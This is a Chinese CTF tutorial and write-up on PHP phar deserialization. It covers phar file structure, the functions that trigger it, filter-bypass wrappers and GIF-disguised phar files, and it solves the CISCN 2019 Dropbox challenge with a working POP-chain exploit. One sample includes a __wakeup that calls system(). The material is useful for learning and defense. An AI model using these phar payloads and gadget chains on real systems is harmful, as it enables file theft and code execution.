Phar

Phar反序列化

phar反序列化即在文件系统函数(file_exists()is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

原理

首先了解一下phar文件的结构,一个phar文件由四部分构成:

  • a stub:可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
  • a manifest describing the contents:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
  • the file contents:被压缩文件的内容。
  • [optional] a signature for verifying Phar integrity (phar file format only):签名,放在文件末尾

demo

注意:如果想要生成Phar文件,要将php.ini中的phar.readonly选项设置为Off,否则无法生成。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Test {}
$o = new Test();
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

可以看到meta-data是以序列化的形式存储的:

影响的函数

知道创宇的seaii 更为我们指出了所有文件函数均可使用:

但实际上只要调用了php_stream_open_wrapper的函数,都存在这样的问题。

因此还有如下函数:

exif

  • exif_thumbnail
  • exif_imagetype

gd

  • imageloadfont
  • imagecreatefrom

hash

  • hash_hmac_file
  • hash_file
  • hash_update_file
  • md5_file
  • sha1_file

file / url

  • get_meta_tags
  • get_headers
  • mime_content_type

standard

  • getimagesize
  • getimagesizefromstring

finfo

  • finfo_file
  • finfo_buffer

zip

1
2
3
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

Postgres

1
2
3
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');

MySQL

1
2
3
4
5
6
7
8
9
10
11
12
LOAD DATA LOCAL INFILE`也会触发这个`php_stream_open_wrapper
<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');

再配置一下mysqld。(非默认配置)

1
2
3
[mysqld]
local-infile=1
secure_file_priv=""

phar反序列化使用前提条件

  1. phar文件可上传
  2. 文件流操作函数如file_exists(),file_get_content(),fopne()要有可利用的魔法方法作为“跳板”。
  3. 文件流参数可控,且phar://协议可用。

Trick

(1)如果过滤了phar://协议怎么办呢?

有以下几种方法可以绕过:

  • compress.bzip2://phar://
  • compress.zlib://phar:///
  • php://filter/resource=phar://

(2)除此之外,我们还可以将phar伪造成其他格式的文件。

php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码

对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

可以看到加了GIF89a文件头,从而使其伪装成gif文件:

实例分析

[CISCN 2019华北Day1]Web1(Dropbox)

前期和Phar反序列化没有关系,是信息收集

进入题目后,首先简单的注册登录,进入以后我们发现左上角有一个上传文件的功能,然后我们先随便建个文档上传提交,发现它要求得文件类型只能是gif/jpg/png的类型,然后进一步测试发现,只更改文件后缀名是没有用的,需要抓包更改其Content-Type为image/jpeg或其它图片格式的对应字符串。

然后我们就发现文件上传成功了。上传成功后我们发现对文件可以进行两个操作,下载和删除。一般来讲,我们看到下载这个字眼的时候,可以联想到这里是不是可能存在任意文件下载的漏洞。然后我们进一步抓包分析,发现果然如此。

下面的filename是可控的,并且很明显内容就是下载的文件,所以我们想着把所有功能的源代码进行下载。

但是,这里有一点小坑,就是它的index.php之类的文件并不是放在当前目录下的,而是上级目录的上级目录(试)

根据主页功能,猜测有上传、下载、删除、当然还有index.php

所以我们通过这个download.php将index.php,delete.php,download.php,upload.php,class.php(class.php是在index.php中的include中发现的)下载下来

附上代码

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

include "class.php";

if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$pos = strrpos($filename, ".");
if ($pos !== false) {
$filename = substr($filename, 0, $pos);
}

$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
case 'image/png':
$fileext = ".png";
break;
default:
$response = array("success" => false, "error" => "Only gif/jpg/png allowed");
Header("Content-type: application/json");
echo json_encode($response);
die();
}

if (strlen($filename) < 40 && strlen($filename) !== 0) {
$dst = $_SESSION['sandbox'] . $filename . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
$response = array("success" => true, "error" => "");
Header("Content-type: application/json");
echo json_encode($response);
} else {
$response = array("success" => false, "error" => "Invaild filename");
Header("Content-type: application/json");
echo json_encode($response);
}
}
?>

download.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>

<!DOCTYPE html>
<html>

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>

<head>
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<link href="static/css/panel.css" rel="stylesheet">
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
<script src="static/js/panel.js"></script>
</head>

<body>
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<li class="breadcrumb-item active">管理面板</li>
<li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
<li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
</ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

在index.php中可以发现

1
include "class.php";

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
?>

这里面我们发现了一堆类的定义和一个重要的漏洞点file_get_contents()

1
2
3
public function close() {
return file_get_contents($this->filename);
}

并且它并没有对这里的文件流进行相关的过滤和限制,所以我们的核心点是通过这个函数来达成文件内容获取的作用。

那么我们需要怎么实现这个效果呢。

我们在上去看类中的相关代码。

我们可以看到有序列化的相关特征魔术方法,如__call(),这个方法是在对象上下文中调用不可访问的方法触发

我们在关注到User类中的__desturcut(),发现这里调用了close()方法,而这个方法正是指向了我们所说的file_get_content()

1
2
3
public function __destruct() {
$this->db->close();
}

此时我们就有了简单而基础的逻辑,就是从User->destruct()=>File->close()

但是这时候我们又会发现,没有回现。

此时我们回过头来看之前__class()方法中的内容,发现它就是遍历files数组,并且对每一个变量执行一次$func函数,然后将结果存进$result中,然后代码执行结束时,FileList中的__destruct()会执行其内部的代码,将result的结果进行回显。

1
2
3
4
5
6
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

此时我们的思路又更加清晰了一些,变为了User->destruct()=>FileList->call()=>File->close()=>FileList->destruct()

但是此时我们又会发现,那要怎么出发这个User的destrcut呢

那这里我们就要用到delete.php这个所实现的功能了

delete.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

我们可以发现,它进行了一个$file->delete()操作

1
2
3
4
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
.....
.....

然后在class.php中呈现就是执行了unlink函数,而这个函数作用就是删除文件的作用。

1
2
3
public function detele() {
unlink($this->filename);
}

所以我们此时想必已经豁然开朗。简单讲就是用delete来触发destrcut,然后执行上面的pop链。
此时我们就可以开始构造pop链了,如下:

POP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class User {
public $db;
public function __construct(){
$this->db=new FileList();
}
}

class FileList {
private $files;
private $results;
private $funcs;
public function __construct(){
$this->files=array(new File());
$this->results=array();
$this->funcs=array();
}
}

class File {
public $filename="/flag.txt";
}

$user = new User();
$phar = new Phar("shell.phar"); //生成一个phar文件,文件名为shell.phar
$phar-> startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>"); //设置stub
$phar->setMetadata($user); //将对象user写入到metadata中
$phar->addFromString("shell.txt","haha"); //添加压缩文件,文件名字为shell.txt,内容为haha
$phar->stopBuffering();

默认生成Phar文件会报错,php默认设置Phar为只读,需要改php.ini设置,在demo有

payload

然后将生成的文件上传,然后执行删除操作时添加phar://,就可以得到flag了。

(至于为什么是flag.txt文件而不是flag.php文件,我觉得以后就都试试吧,虽然我这里也是看了其它师傅的wp才知道的)

需要抓包更改其Content-Type为image/jpeg或其它图片格式的对应字符串

over

come from1

come from2